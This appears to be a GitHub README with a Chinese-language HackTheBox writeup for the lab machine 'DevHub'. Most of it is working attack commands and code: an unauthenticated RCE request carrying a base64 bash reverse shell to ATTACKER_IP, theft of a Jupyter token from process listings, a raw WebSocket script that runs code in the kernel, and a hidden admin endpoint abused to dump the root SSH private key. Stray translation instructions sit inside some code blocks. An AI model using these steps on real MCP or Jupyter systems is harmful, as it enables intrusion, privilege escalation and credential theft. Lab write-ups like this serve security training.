SuriyaBoon/DevHub-HackTheBox-ss11

GitHub: SuriyaBoon/DevHub-HackTheBox-ss11

基于 HackTheBox 的 DevHub 漏洞利用实战项目

Stars: 1 | Forks: 0

# DevHub — HackTheBox 第11季 Writeup **难度:** 中等 **操作系统:** Linux (Ubuntu 22.04) **发布:** 2026 (第11季) **标签:** `MCP` `Jupyter` `RCE` `API 滥用` `SSH 密钥泄露` ## 摘要 DevHub 提供了一个内部开发者平台,包含三个服务:MCP 检查器、Jupyter Lab 实例和 Git 仓库。攻击链涉及利用 MCPJam 检查器中的未认证 RCE 获取初始立足点,通过滥用 WebSocket 上的内部 Jupyter API 转移到 `analyst` 用户,然后通过发现作为 root 运行的内部 OPSMCP Flask 服务器中的隐藏管理端点来提升权限至 root。 ## 情报收集 ### 端口扫描 ``` nmap -sC -sV -p- --min-rate 5000 10.10.11.x -oN nmap.txt ``` ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http nginx 1.18.0 (Ubuntu) 6274/tcp open http MCPJam Inspector 1.4.2 ``` ### 添加到 /etc/hosts ``` echo "10.10.11.x devhub.htb" | sudo tee -a /etc/hosts ``` ### 网络枚举 访问 `http://devhub.htb` 会显示一个宣传三个内部服务的着陆页: | 服务 | 状态 | |---|---| | MCP 检查器 | 活动 — 端口 6274 | | 分析仪表板 (Jupyter) | 仅内部使用 — localhost:8888 | | 代码仓库 (Git) | 维护模式 | ### 发现 API 路由 ``` curl -s http://devhub.htb:6274/assets/index-DRYhT9Xb.js | grep -o '"\/api[^"]*"' | sort -u ``` 发现 `/api/mcp/connect` — 未认证,绑定到 `0.0.0.0`。 ## 足点 — CVE-2026-23744 (MCPJam 检查器 RCE) MCPJam 检查器 v1.4.2 易受通过 `/api/mcp/connect` 端点未认证 RCE 的攻击。`serverConfig.args` 字段未经清理直接传递给 shell。 ### 启动监听器 ``` nc -lvnp 4444 ``` ### 生成有效载荷 ``` echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 # 重要:请保持所有专业术语、专有名词、工具/库/框架名称和技术术语的原英文形式。 ``` ### 触发 RCE ``` curl -s -X POST http://devhub.htb:6274/api/mcp/connect \ -H "Content-Type: application/json" \ -d '{ "serverConfig": { "command": "sh", "args": ["-c", "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xOTcvNDQ0NCAwPiYxCg== | base64 -d | bash"], "env": {} }, "serverId": "pwned" }' ``` Shell 以 `mcp-dev` 接收。 ### 稳定 Shell ``` python3 -c 'import pty; pty.spawn("/bin/bash")' # 运行 Naabu stty raw -echo; fg export TERM=xterm ``` ## 横向移动 — mcp-dev → analyst ### 发现内部服务 ``` ps aux | grep -E "jupyter|opsmcp" ``` 发现: - `127.0.0.1:8888` — 以 `analyst` 运行的 Jupyter Lab - `127.0.0.1:5000` — 以 root 运行的 OPSMCP Flask 服务器 ### 提取 Jupyter 令牌 ``` ps aux | grep jupyter ``` 令牌在进程参数中找到: ``` --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 ``` ### 列出笔记本 ``` curl -s "http://localhost:8888/api/contents?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" ``` 发现:`quarterly_analysis.ipynb`,`pwn.ipynb` ### 创建内核会话 ``` curl -s -X POST "http://localhost:8888/api/kernels?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" \ -H "Content-Type: application/json" \ -d '{}' ``` 内核 ID:`37a271e3-4f11-4ed5-afde-0e5f1b481db9` ### 通过原始 WebSocket 执行代码 由于 `websocket-client` 不可用(无互联网),手动构建了原始 WebSocket 帧: ``` python3 << 'EOF' import socket, base64, os, json, struct, uuid, time TOKEN = "a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7" KERNEL_ID = "37a271e3-4f11-4ed5-afde-0e5f1b481db9" key = base64.b64encode(os.urandom(16)).decode() upgrade = ( f"GET /api/kernels/{KERNEL_ID}/channels?token={TOKEN} HTTP/1.1\r\n" f"Host: localhost:8888\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n" f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n" ) s = socket.socket() s.connect(("localhost", 8888)) s.send(upgrade.encode()) s.recv(4096) # discard 101 response msg = json.dumps({ "header": {"msg_id": str(uuid.uuid4()), "msg_type": "execute_request", "username": "", "session": str(uuid.uuid4()), "version": "5.0"}, "parent_header": {}, "metadata": {}, "content": {"code": "import os; print(os.popen('cat /home/analyst/user.txt').read())", "silent": False} }) payload = msg.encode() length = len(payload) mask_key = os.urandom(4) masked = bytearray([payload[i] ^ mask_key[i % 4] for i in range(length)]) if length <= 125: header = struct.pack('!BB', 0x81, 0x80 | length) + mask_key elif length <= 65535: header = struct.pack('!BBH', 0x81, 0xFE, length) + mask_key else: header = struct.pack('!BBQ', 0x81, 0xFF, length) + mask_key s.send(header + masked) time.sleep(5) print(s.recv(65535)) EOF ``` 代码以 `analyst` 用户身份通过 Jupyter 内核执行。 ## 用户标志 ``` 9cfd5dc906d5b588b7859424e6e0421a ``` ## 提权 — analyst → root ### 读取 OPSMCP 源代码 使用 Jupyter WebSocket 执行技术,读取 OPSMCP 服务器源代码: ``` "code": "import os; print(os.popen('cat /opt/opsmcp/server.py').read())" ``` 关键发现: - **API 密钥:** `opsmcp_secret_key_4f5a6b7c8d9e0f1a` - **隐藏工具:** `ops._admin_dump` — 未在 `/tools/list` 中列出但可调用 - 隐藏工具接受 `target=ssh_keys` 并导出 `/root/.ssh/id_rsa` ### 调用隐藏管理端点 ``` curl -s -X POST "http://localhost:5000/tools/call" \ -H "Content-Type: application/json" \ -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \ -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' ``` 响应包含 root RSA 私钥。 ### 以 root 身份 SSH 登录 ``` cat > /tmp/root_key << 'EOF' -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEAwWHw4Iv8yDwyqOacO5uB2OFr/RaD1TF192ptgJXu0vj5STypOUH9 ... -----END OPENSSH PRIVATE KEY----- EOF chmod 600 /tmp/root_key ssh -i /tmp/root_key root@10.129.5.148 ``` ## root 标志 ``` f08364d99ace8798681925311bf24d78 ``` ## 标志 | 标志 | 哈希 | |---|---| | user.txt | `9cfd5dc906d5b588b7859424e6e0421a` | | root.txt | `f08364d99ace8798681925311bf24d78` | ## 攻击链 ``` [MCPJam RCE] [Jupyter WebSocket] [OPSMCP Hidden API] mcp-dev → analyst → root (CVE-2026-23744) (Token in ps aux) (ops._admin_dump) ``` ## 引用的 CVE | CVE | 描述 | CVSS | |---|---|---| | CVE-2026-23744 | MCPJam 检查器通过 `/api/mcp/connect` 端点未认证 RCE | 严重 | | CVE-2025-49596 | MCP 检查器 DNS 重绑定 RCE | 9.4 | ## 主要收获 - **MCP 服务器** 可以在未认证的情况下暴露危险的命令执行端点 — 在生产环境中始终绑定到 localhost。 - 从 `ps aux` 中提取的 **Jupyter 令牌** 允许以运行用户执行完整代码。 - 未在文档中列出的 **隐藏 API 端点** 即使读取了源代码也可以调用 — 暗中保护不是安全。 - 总是限制内部服务到最低权限用户,并避免以 root 身份运行 Web 服务器。
标签:威胁模拟, 逆向工具